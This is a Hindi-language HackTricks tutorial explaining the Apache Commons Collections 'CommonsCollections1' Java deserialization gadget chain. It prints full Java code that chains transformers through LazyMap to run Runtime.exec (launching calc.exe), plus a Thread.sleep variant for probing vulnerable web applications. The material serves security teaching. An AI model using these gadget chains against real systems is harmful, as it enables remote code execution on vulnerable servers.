CommonsCollection1 पेलोड - जावा ट्रांसफॉर्मर्स से Rutime exec() और Thread Sleep

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
The PEASS Family की खोज करें, हमारा एकल NFT संग्रह
आधिकारिक PEASS & HackTricks swag प्राप्त करें
💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का** पालन करें।**
अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके अपना योगदान साझा करें।

जावा ट्रांसफॉर्मर्स से Rutime exec()

कई स्थानों पर आप एक जावा डेसीरियलाइज़ेशन पेलोड पाएंगे जो अपाचे कॉमन कलेक्शन्स से ट्रांसफॉर्मर्स का उपयोग करता है, जैसा कि निम्नलिखित है:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

यदि आपको जावा डेसीरियलाइज़ेशन पेलोड के बारे में कुछ भी नहीं पता है तो यह समझना कठिन हो सकता है कि इस कोड के द्वारा कैसे एक कैल्क चलाया जाएगा।

सबसे पहले, आपको जानना चाहिए कि जावा में ट्रांसफॉर्मर कुछ ऐसा होता है जो एक कक्षा को प्राप्त करता है और उसे एक अलग कक्षा में रूपांतरित करता है। इसके अलावा, यह जानना भी दिलचस्प है कि यहां चलाया जा रहा पेलोड निम्नलिखित के समान है:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

या अधिक सटीकता से, अंत में क्या निष्पादित होगा, वह होगा:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

कैसे

तो, पहले पेलोड को वे "सरल" वन-लाइनर्स के समान कैसे प्रस्तुत किया जाता है?

पहले से ही, आप पेलोड में ध्यान दें कि एक ट्रांसफॉर्म्स की एक श्रृंखला (एरे) बनाई जाती है:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

यदि आप कोड पढ़ते हैं तो आप देखेंगे कि यदि आप किसी भी तरीके से सरणी के परिवर्तन को चेन करते हैं तो आप विचारशील आदेशों को निष्पादित कर सकते हैं।

तो, वे परिवर्तन कैसे चेन होते हैं?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

उपयोग की गई पेलोड के अंतिम खंड में आप देख सकते हैं कि एक मानचित्र ऑब्जेक्ट बनाया जाता है। फिर, LazyMap से decorate फ़ंक्शन को मानचित्र ऑब्जेक्ट और चेन किए गए ट्रांसफ़ॉर्मर्स के साथ निष्पादित किया जाता है। निम्नलिखित कोड से आप देख सकते हैं कि इससे चेन किए गए ट्रांसफ़ॉर्मर्स को lazyMap.factory विशेषता के अंदर कॉपी किया जाएगा:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

और फिर महान समाप्ति को क्रियान्वित किया जाता है: lazyMap.get("कुछ भी");

यह get फ़ंक्शन का कोड है:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

और यह transform फ़ंक्शन का कोड है।

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

तो, याद रखें कि हमने फैक्ट्री के अंदर chainedTransformer को सहेज रखा था और transform फ़ंक्शन के अंदर हम सभी उन ट्रांसफ़ॉर्मर्स के माध्यम से जा रहे हैं और एक के बाद एक को निष्पादित कर रहे हैं। मजेदार बात यह है कि प्रत्येक ट्रांसफ़ॉर्मर object का उपयोग कर रहा है और ऑब्जेक्ट पिछले ट्रांसफ़ॉर्मर द्वारा निष्पादित होने वाला आउटपुट है। इसलिए, सभी ट्रांसफ़ॉर्म्स एक साथ चल रहे हैं और खतरनाक पेलोड को निष्पादित कर रहे हैं।

सारांश

अंत में, lazyMap द्वारा चेन्ड ट्रांसफ़ॉर्मर्स को get मेथड के अंदर कैसे प्रबंधित किया जाता है, ऐसा लगता है जैसे हम निम्नलिखित कोड को निष्पादित कर रहे हों:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

ध्यान दें कि value प्रत्येक ट्रांसफॉर्म का इनपुट है और पिछले ट्रांसफॉर्म का आउटपुट है, जो एक-लाइनर का निष्पादन संभव बनाता है:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

नोट करें कि यहां गैजेट्स की व्याख्या की गई थी जो ComonsCollections1 पेलोड के लिए उपयोग की जाती है। लेकिन यह छोड़ दिया गया है कि इसका आरंभ कैसे होता है। आप यहां देख सकते हैं यहां कि ysoserial, इस पेलोड को निष्पादित करने के लिए, एक AnnotationInvocationHandler ऑब्जेक्ट का उपयोग करता है क्योंकि जब इस ऑब्जेक्ट को डिसीरियलाइज किया जाता है, यह पेलोड को पुनः निष्पादित करेगा।

जावा थ्रेड स्लीप

यह पेलोड उपयोगी हो सकता है ताकि पता लगा सकें कि क्या वेब कमजोर है क्योंकि यदि हां तो यह एक स्लीप निष्पादित करेगा।

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

अधिक गैजेट्स

आप यहाँ अधिक गैजेट्स पा सकते हैं: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html